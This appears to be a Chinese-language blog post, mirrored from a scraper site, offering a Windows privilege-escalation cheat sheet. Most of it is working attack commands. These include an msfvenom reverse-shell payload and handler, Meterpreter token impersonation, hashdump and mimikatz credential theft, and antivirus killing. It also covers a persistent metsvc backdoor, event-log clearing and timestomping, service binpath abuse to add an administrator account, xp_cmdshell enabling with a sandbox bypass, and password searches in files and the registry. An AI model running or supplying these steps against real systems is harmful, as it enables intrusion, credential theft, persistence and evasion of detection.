zoukankan      html  css  js  c++  java
  • windows提权

    windows提权

    权限等级
    1 user
    2 administrator
    3 system
    

    常用命令

    systeminfo | findstr OS #系统版本信息,此处进行了筛选
    hostname    #主机名称
    whomai  #显示当前用户
    quser #获取在线用户
    netstat -ano | findstr 3389    #查看机器端口3389占用情况,并获取rdp连接来源IP
    dir c:programdata #分析安装杀软即其他软件
    wmic qfe get Caption,Description,HotFixID,InstalledOn    #列出已安装的补丁
    REG query HKLMSYSTEMCurrentControlSetControlTerminal" "ServerWinStationsRDP-Tcp /v PortNumber    #获取远程端口
    tasklist /svc | find "TermService" + netstat -ano    #显示每个进程中的服务,并获取远程端口
    tasklist /m shell32.dll   # 查看调用DLL模块文件的进程列表
    taskkill /pid 1132  #终止进程
    taskkill /IM notepad.exe #同上
    netuser 显示当前系统拥有账号
    

    windows 2003

    反弹shell生成:

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.114.128 LPORT=4444 -f exe -o payload.exe
    

    反弹shell连接:

    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    

    获取反弹shell后查看权限:

    getuid   
    getsystem  #win2003下直接获取system权限
    

    绕过UAC策略:

    显示所有运行进程以及关联的用户账户,并迁徙到指定进程:

    ps
    

    令牌假冒:

    use incognito
    

    查看存在的令牌

    list_tokens-u
    

    令牌假冒:

    impersonate_token HU-7F2870BE8C91\Administrator
    

    成功之后getuid查看一下就好

    获取凭证

    run hashdump
    

    加载mimikatz模块:

    load mimikatz
    

    获取明文密码:

    wdigest
    

    关闭防病毒软件

    run killav
    
    run post/windows/manage/killav
    

    操作远程桌面

    run post/windows/manage/enable_rdp开启远程桌面
    
    run post/windows/manage/enable_rdp username=test password=test添加远程桌面的用户(同时也会将该用户添加到管理员组)
    

    后门:

    run metsvc
    
    命令运行成功后会在C:WindowsTEMP目录下新建随机名称的文件夹,里面生成3个文件(metsvc.dll、metsvc-server.exe、metsvc.exe)。
    
    同时新建一个服务,显示名称为Meterpreter,服务名称为metsvc,启动类型为”自动”,绑定在31337端口。
    

    连接:

    使用exploit/multi/handler模块,payload设置为windows/metsvc_bind_tcp,设置目标ip和绑定端口31337
    

    在远程目标主机上添加一个用户。

    add_user username password -h ip
    
    后渗透测试

    清除目标主机上的日志记录

    clearev  
    

    修改文件属性,例如修改文件的创建时间(反取证调差)

    timestomp
    
    at提权

    适用范围:

    Windows2000、Windows 2003、Windows XP   
    

    at 是一个发布定时任务计划的命令行工具,语法比较简单。通过 at 命令发布的定时任务计划, Windows 默认以 SYSTEM 权限运行。定时任务计划可以是批处理、可以是一个二进制文件。类似于查找定时任务进行提权

    at 19:43 /interactive cmd  #19.43时打开
    

    此时获取一个system的cmd,利用taskmgr命令调用任务管理器,此时的任务管理器是system权限。

    获取system权限的桌面:

    利用taskmgr命令调用任务管理器,切换到进程结束explorer进程,再返回应用程序,创建新任务,explorer,此时桌面就会重启,我们得到了一个system权限的桌面。

    我们此时定一个定时任务,利用at命令。

    at 19:43 /interactive exe程序具体路径
    

    定时之后会返回shell权限的命令行。

    sc命令提权
    SC 是用于与服务控制管理器和服务进行通信的命令行程序。提供的功能类似于“控制面板”中“管理工具”项中的“服务”。
    
    sc Create syscmd binPath= “cmd /K start” type= own type= interact
    sc start systcmd #此时就获取了一个system权限的cmd环境
    
    服务重启提权

    当Windows服务运行时,会发生以下两种情况之一。如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行。但是,如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。

    like:

    C:Program FilesSome FolderService.exe
    
    上式存在空格,那么当系统碰到了这个空格,他会在文件路径下查找所有可能匹配项直到找到一个匹配为止。
    
    C:Program.exe
    C:Program FilesSome.exe
    C:Program FilesSome FolderService.exe
    
    所以根据此项:
    
    wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:Windows\" |findstr /i /v """  
    #这个命令能够帮助我们列出目标机器上所有没用引号的文件路径
    
    首先我们利用icacls查看文件夹权限
    
    icacls "D:phpstudy_proCOMphpStudyServer.exe"
    
    重启PFnet服务用来反弹我们的shell
    
    sc stop PFNet
    sc start PFNet
    
    此时Windows定位并重启了我们的恶意软件弹回了一个具有系统权限的Shell。  
    
    exploit/windows/local/trusted_service_path
    
    关于利用服务进行提权

    Windows服务以及我们下载的环境文件等等。

    在Windows当中,系统服务具有修改自己属性的能力,操作系统通过Service Control Manager进行控制。假如我们可以修改服务的二进制文件,那么在服务重启后,我们就拥有了一个以SYSTEM权限运行的自己的服务了。

    注:AccessChk能够帮助我们查找系统中我们能够修改的服务,即具有写权限。

    accesschk.exe -uwcqv "Authenticated Users" * /accepteula   #目标机器执行即可
    

    下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/accesschk

    当发现具体服务后,我们使用sc进行查看:

    sc qc SERVICE
    

    SC命令是XP系统中功能强大的DOS命令,SC命令能与“服务控制器”和已安装设备进行通讯。SC是用于与服务控制管理器和服务进行通信的命令行程序。

    此时我们能发现该服务的二进制文件路径,在binary_path_name,将这个值改为我们需要执行的系统命令,例如添加用户,与添加组。

    sc config PFNET binpath= "net user rottenadmin P@ssword123! /add"
    sc stop PFNET
    sc start PFNET
    sc config PFNET binpath= "net localgroup Administrators rottenadmin /add"
    sc stop PFNET
    sc start PFNET
    

    可能有报错,但是其实是成功的。

    关于shell当中命令

    添加用户

    net user hacker 123 /add
    
    net user hacker /del
    

    添加用户到管理员组:

    net localgroup administrator hacker /add
    
    net localgroup administrator hacker /del
    

    win2008

    利用xp_cmdshell提权

    xpcmdshell是Sql Server中的一个组件,可以用来执行系统命令 在拿到sa口令之后,经常可以通过xpcmdshell来进行提权

    确认xp_cmdshell

    select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
    

    打开xp_cmdshell

    EXEC sp_configure 'show advanced options', 1;    #开启改为1,关闭改为0
    
    RECONFIGURE; 
    
    go
    
    EXEC sp_configure 'xp_cmdshell', 1; 
    
    RECONFIGURE; 
    
    go
    
    exec sp_configure 
    

    命令执行:

    exec xp_cmdshell “whoami”
    
    当cmd权限不足的时候,即被降权:
    
    启用沙盒模式执行shell命令:
    
    exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',1;
    select * from openrowset('microsoft.jet.oledb.4.0',';database=iasdnary.mdb','select shell("whoami")');
    

    相关实战文章:https://www.freebuf.com/articles/web/10280.html

    DLL劫持

    动态链接库(DLL)通过提供跨系统共享的可执行代码模块,在操作系统上提供了大量功能。当开发人员未指定DLL的完全限定的绝对路径时,就会出现漏洞。

    查找顺序:

    32位系统目录(C:WindowsSystem32)
    16位系统目录(C:WindowsSystem)
    Windows目录(C:Windows)
    当前工作目录(CWD)
    PATH环境变量中的目录(系统路径,然后是用户路径)
    

    一些已知具有DLL劫持漏洞的Windows服务是:

    IKE和AuthIP IPsec密钥模块(IKEEXT):wlbsctrl.dll
    Windows Media Center接收器服务(ehRecvr):ehETW.dll
    Windows Media Center计划程序服务(ehSched):ehETW.dll
    自动更新(wuauserv):ifsproxy.dll
    远程桌面帮助会话管理器(RDSessMgr):SalemHook.dll
    远程访问连接管理器(RasMan):ipbootp.dll
    Windows Management Instrumentation(winmgmt):wbemcore.dll
    音频服务(STacSV):SFFXComm.dll SFCOM.DLL
    英特尔快速存储技术(IAStorDataMgrSvc):DriverSim.dll
    Juniper统一网络服务(JuniperAccessService):dsLogService.dll
    Encase Enterprise Agent:SDDisk.dll
    
    敏感信息搜集

    几个命令:

    dir C: /s /b /c | findstr /sr *password*
    findstr /si password *.txt | *.xml | *.ini
    
    查询注册表,例如,字符串password:  
    
    reg query HKLM /f password /t REG_SZ /s
    reg query HKCU /f password /t REG_SZ /s
    
    在文件内容中搜索password之类的关键字:
    
    findstr /si password *.txt | *.xml | *.ini  
    
    AlwaysInstallElevated

    AlwaysInstallElevated是一种允许非管理用户以SYSTEM权限运行Microsoft Windows安装程序包(.MSI文件)的设置。默认情况下禁用此设置,需系统管理员手动启用他。

    查询命令:

    reg query HKCUSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated  
    
    reg query HKLMSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated
    
  • 相关阅读:
    C#中的字符串处理
    c#复习
    git 取消对某个文件的跟踪
    react 脚手架 立即可以写业务 react + react-router-dom + less + axios + antd
    vue 脚手架 立即可以写业务 vue + vue-router + less + axios + elementUI + moment
    mac 在命令行 用webstorm打开文件
    React create-react-app Build fails after eject: Cannot find module '@babel/plugin-transform-react-jsx'
    微信小程序 canvas 文字自动换行
    微信小程序 canvas 文字居中
    微信小程序 canvas 绘制圆形状
  • 原文地址:https://www.cnblogs.com/ophxc/p/13505662.html
Copyright © 2011-2022 走看看